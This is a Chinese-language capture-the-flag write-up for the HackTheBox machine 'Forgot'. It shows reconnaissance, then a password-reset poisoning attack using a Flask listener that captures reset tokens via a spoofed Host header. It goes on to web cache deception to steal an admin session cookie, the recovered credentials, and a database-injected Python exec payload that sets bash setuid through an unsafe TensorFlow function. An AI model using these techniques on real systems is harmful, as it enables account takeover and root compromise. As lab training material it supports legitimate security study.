【hackthebox】Forgot writeup

一、信息收集

TARGET=10.129.215.216 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open  http    syn-ack ttl 63 Werkzeug/2.1.2 Python/3.8.10
|_http-title: Login
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Thu, 12 Jan 2023 03:11:24 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     X-Varnish: 32790
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Thu, 12 Jan 2023 03:11:17 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 219
|     Location: http://127.0.0.1
|     X-Varnish: 32785
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://127.0.0.1">http://127.0.0.1</a>. If not, click the link.
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Thu, 12 Jan 2023 03:11:18 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: OPTIONS, HEAD, GET
|     Content-Length: 0
|     X-Varnish: 24
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Accept-Ranges: bytes
|     Connection: close
|   RTSPRequest, SIPOptions: 
|_    HTTP/1.1 400 Bad Request
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.93%I=7%D=1/11%Time=63BF7A55%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1E2,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.1\.2\x2
SF:0Python/3\.8\.10\r\nDate:\x20Thu,\x2012\x20Jan\x202023\x2003:11:17\x20G
SF:MT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x
SF:20219\r\nLocation:\x20http://127\.0\.0\.1\r\nX-Varnish:\x2032785\r\nAge
SF::\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish/6\.2\)\r\nConnection:\x2
SF:0close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>Redirecting
SF:\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x20be\x20r
SF:edirected\x20automatically\x20to\x20the\x20target\x20URL:\x20<a\x20href
SF:=\"http://127\.0\.0\.1\">http://127\.0\.0\.1</a>\.\x20If\x20not,\x20cli
SF:ck\x20the\x20link\.\n")%r(HTTPOptions,114,"HTTP/1\.1\x20200\x20OK\r\nSe
SF:rver:\x20Werkzeug/2\.1\.2\x20Python/3\.8\.10\r\nDate:\x20Thu,\x2012\x20
SF:Jan\x202023\x2003:11:18\x20GMT\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nAllow:\x20OPTIONS,\x20HEAD,\x20GET\r\nContent-Length:\x200\r
SF:\nX-Varnish:\x2024\r\nAge:\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish
SF:/6\.2\)\r\nAccept-Ranges:\x20bytes\r\nConnection:\x20close\r\n\r\n")%r(
SF:RTSPRequest,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(FourOhFo
SF:urRequest,1BE,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/
SF:2\.1\.2\x20Python/3\.8\.10\r\nDate:\x20Thu,\x2012\x20Jan\x202023\x2003:
SF:11:24\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent
SF:-Length:\x20207\r\nX-Varnish:\x2032790\r\nAge:\x200\r\nVia:\x201\.1\x20
SF:varnish\x20\(Varnish/6\.2\)\r\nConnection:\x20close\r\n\r\n<!doctype\x2
SF:0html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\
SF:x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\
SF:x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x2
SF:0please\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r
SF:(SIPOptions,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 11 22:13:43 2023 -- 1 IP address (1 host up) scanned in 152.89 seconds

目录扫描

┌──(root㉿kali)-[/home/kali/Desktop/HTB/Forgot]
└─# feroxbuster -u http://10.129.215.216 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.215.216
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      246l      484w     5186c http://10.129.215.216/
302      GET        5l       22w      189c http://10.129.215.216/home => http://10.129.215.216/
200      GET      246l      484w     5189c http://10.129.215.216/login
302      GET        5l       22w      189c http://10.129.215.216/tickets => http://10.129.215.216/
200      GET      253l      498w     5227c http://10.129.215.216/forgot
200      GET      261l      517w     5523c http://10.129.215.216/reset

二、渗透测试

源代码中发现了

<!-- Q1 release fix by robert-dev-36792 -->

抓包看看

GET /forgot?username=robert-dev-10045 HTTP/1.1
Host: 10.129.215.216
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.129.215.216/forgot
Cookie: __hstc=159460194.a41b32e1a1ee615a98bb171d04070916.1673494413960.1673494413960.1673494413960.1; hubspotutk=a41b32e1a1ee615a98bb171d04070916; __hssrc=1; __hssc=159460194.7.1673494413960

密码重置页面需要token

POST /reset? HTTP/1.1
Host: 10.129.215.216
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Origin: http://10.129.215.216
Connection: close
Referer: http://10.129.215.216/reset
Cookie: __hstc=159460194.a41b32e1a1ee615a98bb171d04070916.1673494413960.1673494413960.1673494413960.1; hubspotutk=a41b32e1a1ee615a98bb171d04070916; __hssrc=1; __hssc=159460194.7.1673494413960

password=admin

本地监听,尝试获取token

然后就简单了,带上token reset

密码重置成功,登陆

robert-dev-10045 : admin

存在admin用户

但是admin的密码不可以被重置

发现一个页面

直接访问,提示权限不足

过了一会儿,这个密码掉了。。好像过段时间就会掉。。。

一直在纠结如何登陆管理员用户,在论坛上找到了答案

https://breached.vc/Thread-Forgot-HTB-Discussion?page=8

大致利用思路就是,我们提交一个工单,里面写上一个不存在的地址,提交上去之后,管理员会点击这个不存在的页面,此时我们再去访问,就会发现这个页面有管理员的cookie信息

import netifaces as ni, logging, requests
from flask import Flask, request
import urllib.parse

app = Flask(__name__)

tun_ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr'] # if you have multiple vpn connection replace this variable with you HTB IP address
port   = 9980

password  = "qwerty"                                   # You can pick any password you want  

log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
@app.route("/reset")
def reset():
    try:
        token = urllib.parse.quote(request.args.get('token'))
        print(f"Token: {token}")
        data      = {"password":f"{password}", "cpassword":f"{password}"}
        reset_pwd = requests.post(f"http://10.129.215.216/reset?token={token}", data=data)
        if 'Success' in reset_pwd.text:
            print(f"Successfully changed password to: {data['password']}")
        else:
            print(f"Invalid Token")
    except:
        pass
    return "Done"

if __name__ == "__main__":
    app.run(host=tun_ip, port=port, debug=True)

密码重置

curl -X "GET" -H "Host: 10.10.14.14:9980" \
    http://10.129.215.216/forgot?username=robert-dev-10045

登陆获取cookie

curl -s -o /dev/null -v -d "username=robert-dev-10045&password=qwerty" \
    -X POST http://10.129.215.216/login
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ curl -s -o /dev/null -v -d "username=robert-dev-10045&password=qwerty" \
    -X POST http://10.129.215.216/login
*   Trying 10.129.215.216:80...
* Connected to 10.129.215.216 (10.129.215.216) port 80 (#0)
> POST /login HTTP/1.1
> Host: 10.129.215.216
> User-Agent: curl/7.86.0
> Accept: */*
> Content-Length: 41
> Content-Type: application/x-www-form-urlencoded
> 
} [41 bytes data]
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.1.2 Python/3.8.10
< Date: Thu, 12 Jan 2023 09:15:20 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 46
< Set-Cookie: session=7348ceab-d73e-415e-bdd5-cb29e8846471; HttpOnly; Path=/
< X-Varnish: 2590090
< Age: 0
< Via: 1.1 varnish (Varnish/6.2)
< Accept-Ranges: bytes
< Connection: keep-alive
< 
{ [46 bytes data]
* Connection #0 to host 10.129.215.216 left intact

提交工单

curl -i -d "to=Admin&link=http://10.129.215.216/static/directory.png" \
    -H "Cookie: session=7348ceab-d73e-415e-bdd5-cb29e8846471;"    \
    -X POST http://10.129.215.216/escalate
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ curl -i -d "to=Admin&link=http://10.129.215.216/static/directory.png" \
    -H "Cookie: session=7348ceab-d73e-415e-bdd5-cb29e8846471;"    \
    -X POST http://10.129.215.216/escalate
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Thu, 12 Jan 2023 09:16:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 61
Set-Cookie: session=7348ceab-d73e-415e-bdd5-cb29e8846471; HttpOnly; Path=/
X-Varnish: 34520
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Accept-Ranges: bytes
Connection: keep-alive

Escalation form submitted to Admin and will be reviewed soon!

等2分钟,获取admin的session

┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ curl -I http://10.129.215.216/static/directory.png
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Thu, 12 Jan 2023 09:17:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Set-Cookie: session=72c4be7e-82a2-4a41-a504-8119fccfd335; HttpOnly; Path=/
cache-control: public, max-age=240
X-Varnish: 34535 1803660
Age: 95
Via: 1.1 varnish (Varnish/6.2)
Connection: keep-alive

使用admin账户访问admin_tickets

┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ curl -I -H "cookie: session=72c4be7e-82a2-4a41-a504-8119fccfd335" http://10.129.215.216/admin_tickets
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Thu, 12 Jan 2023 09:19:47 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6923
Set-Cookie: session=72c4be7e-82a2-4a41-a504-8119fccfd335; HttpOnly; Path=/
X-Varnish: 34540
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Accept-Ranges: bytes
Connection: keep-alive

说明这个cookie可以使用

得到用户名和密码

diego:dCb#1!x0%gjq

ssh diego@10.129.215.216

三、提权

diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User diego may run the following commands on forgot:
    (ALL) NOPASSWD: /opt/security/ml_security.py
diego@forgot:~$ cat /opt/security/ml_security.py 
#!/usr/bin/python3
import sys
import csv
import pickle
import mysql.connector
import requests
import threading
import numpy as np
import pandas as pd
import urllib.parse as parse
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string

np.random.seed(42)

f1 = '/opt/security/lib/DecisionTreeClassifier.sav'
f2 = '/opt/security/lib/SVC.sav'
f3 = '/opt/security/lib/GaussianNB.sav'
f4 = '/opt/security/lib/KNeighborsClassifier.sav'
f5 = '/opt/security/lib/RandomForestClassifier.sav'
f6 = '/opt/security/lib/MLPClassifier.sav'

# load the models from disk
loaded_model1 = pickle.load(open(f1, 'rb'))
loaded_model2 = pickle.load(open(f2, 'rb'))
loaded_model3 = pickle.load(open(f3, 'rb'))
loaded_model4 = pickle.load(open(f4, 'rb'))
loaded_model5 = pickle.load(open(f5, 'rb'))
loaded_model6 = pickle.load(open(f6, 'rb'))
model= Doc2Vec.load("/opt/security/lib/d2v.model")

# Create a function to convert an array of strings to a set of features
def getVec(text):
    features = []
    for i, line in enumerate(text):
        test_data = word_tokenize(line.lower())
        v1 = model.infer_vector(test_data)
        featureVec = v1
        lineDecode = unquote(line)
        lowerStr = str(lineDecode).lower()
        feature1 = int(lowerStr.count('link'))
        feature1 += int(lowerStr.count('object'))
        feature1 += int(lowerStr.count('form'))
        feature1 += int(lowerStr.count('embed'))
        feature1 += int(lowerStr.count('ilayer'))
        feature1 += int(lowerStr.count('layer'))
        feature1 += int(lowerStr.count('style'))
        feature1 += int(lowerStr.count('applet'))
        feature1 += int(lowerStr.count('meta'))
        feature1 += int(lowerStr.count('img'))
        feature1 += int(lowerStr.count('iframe'))
        feature1 += int(lowerStr.count('marquee'))
        # add feature for malicious method count
        feature2 = int(lowerStr.count('exec'))
        feature2 += int(lowerStr.count('fromcharcode'))
        feature2 += int(lowerStr.count('eval'))
        feature2 += int(lowerStr.count('alert'))
        feature2 += int(lowerStr.count('getelementsbytagname'))
        feature2 += int(lowerStr.count('write'))
        feature2 += int(lowerStr.count('unescape'))
        feature2 += int(lowerStr.count('escape'))
        feature2 += int(lowerStr.count('prompt'))
        feature2 += int(lowerStr.count('onload'))
        feature2 += int(lowerStr.count('onclick'))
        feature2 += int(lowerStr.count('onerror'))
        feature2 += int(lowerStr.count('onpage'))
        feature2 += int(lowerStr.count('confirm'))
        # add feature for ".js" count
        feature3 = int(lowerStr.count('.js'))
        # add feature for "javascript" count
        feature4 = int(lowerStr.count('javascript'))
        # add feature for length of the string
        feature5 = int(len(lowerStr))
        # add feature for "<script"  count
        feature6 = int(lowerStr.count('script'))
        feature6 += int(lowerStr.count('<script'))
        feature6 += int(lowerStr.count('&lt;script'))
        feature6 += int(lowerStr.count('%3cscript'))
        feature6 += int(lowerStr.count('%3c%73%63%72%69%70%74'))
        # add feature for special character count
        feature7 = int(lowerStr.count('&'))
        feature7 += int(lowerStr.count('<'))
        feature7 += int(lowerStr.count('>'))
        feature7 += int(lowerStr.count('"'))
        feature7 += int(lowerStr.count('\''))
        feature7 += int(lowerStr.count('/'))
        feature7 += int(lowerStr.count('%'))
        feature7 += int(lowerStr.count('*'))
        feature7 += int(lowerStr.count(';'))
        feature7 += int(lowerStr.count('+'))
        feature7 += int(lowerStr.count('='))
        feature7 += int(lowerStr.count('%3C'))
        # add feature for http count
        feature8 = int(lowerStr.count('http'))
        
        # append the features
        featureVec = np.append(featureVec,feature1)
        featureVec = np.append(featureVec,feature2)
        featureVec = np.append(featureVec,feature3)
        featureVec = np.append(featureVec,feature4)
        featureVec = np.append(featureVec,feature5)
        featureVec = np.append(featureVec,feature6)
        featureVec = np.append(featureVec,feature7)
        featureVec = np.append(featureVec,feature8)
        features.append(featureVec)
    return features


# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
conn.close()
data=[]
for i in r:
        data.append(i)
Xnew = getVec(data)

#1 DecisionTreeClassifier
ynew1 = loaded_model1.predict(Xnew)
#2 SVC
ynew2 = loaded_model2.predict(Xnew)
#3 GaussianNB
ynew3 = loaded_model3.predict(Xnew)
#4 KNeighborsClassifier
ynew4 = loaded_model4.predict(Xnew)
#5 RandomForestClassifier
ynew5 = loaded_model5.predict(Xnew)
#6 MLPClassifier
ynew6 = loaded_model6.predict(Xnew)

# show the sample inputs and predicted outputs
def assessData(i):
    score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
    if score >= .5:
        try:
                preprocess_input_exprs_arg_string(data[i],safe=False)
        except:
                pass

for i in range(len(Xnew)):
     t = threading.Thread(target=assessData, args=(i,))
#     t.daemon = True
     t.start()
diego@forgot:~$ 

preprocess_input_exprs_arg_string 使用了这个函数

https://github.com/advisories/GHSA-75c9-jrh4-79mc

应该是个和xss相关的

cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
data=[]
for i in r:
        data.append(i)
Xnew = getVec(data)

如果检测到的恶意模式数量超过阈值,则执行恶意函数

score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
if score >= .5:
    try:
        preprocess_input_exprs_arg_string(data[i],safe=False)
    except:
        pass
diego@forgot:~$ cat bot.py 
#!/usr/bin/python3
import os
import mysql.connector
import requests
import netifaces as ni

# Fetch Links
conn = mysql.connector.connect(host="localhost",database="app",user="diego",password="dCb#1!x0%gjq")
cursor = conn.cursor()
cursor.execute('select * from forgot')
r = cursor.fetchall()

# Open reset links
for i in r:
        try:
                requests.get(i[1],timeout=10)
        except:
                pass

# Open tickets as admin
cursor.execute('select * from escalate')
r = cursor.fetchall()
tun_ip = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
d = requests.post(f'http://{tun_ip}/login',data={'username':'admin','password':'dCvbgFh345_368352c@!'})
cookie = d.headers['Set-Cookie'].split('=')[1].split(';')[0]

for i in r:
        try:
                print(i[2])
                requests.get(i[2],cookies={'session':cookie})
                requests.get(i[2],cookies={'session':cookie})
                requests.get(i[2],cookies={'session':cookie})
                cursor.execute('delete from escalate where link=%s',(i[2],))
                conn.commit()
        except:
                pass
conn.close()
diego@forgot:~$ 

bot.py里面发现密码

因此,我们可以在reason字段中使用恶意内容覆盖db,并运行脚本来执行我们的有效负载。

通过bot.py中的db凭证,我们可以登录到数据库。

diego@forgot:~$ mysql -D app -udiego -p
Enter password: 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1096
Server version: 8.0.31-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> insert into escalate values ("1","1","1",'test=exec("""\nimport os\nos.system("chmod +s /usr/bin/bash")""")');
Query OK, 1 row affected (0.01 sec)

mysql> exit
Bye
diego@forgot:~$ sudo /opt/security/ml_security.py
2023-01-12 09:36:12.183901: W tensorflow/stream_executor/platform/default/dso_loader.cc:64] Could not load dynamic library 'libcudart.so.11.0'; dlerror: libcudart.so.11.0: cannot open shared object file: No such file or directory
2023-01-12 09:36:12.184118: I tensorflow/stream_executor/cuda/cudart_stub.cc:29] Ignore above cudart dlerror if you do not have a GPU set up on your machine.
diego@forgot:~$ /usr/bin/bash -p
bash-5.0# id
uid=1000(diego) gid=1000(diego) euid=0(root) egid=0(root) groups=0(root),1000(diego)
bash-5.0# cat /root/root.txt 
bd06e75dba92f3301935d3e6d6cd40bc
bash-5.0#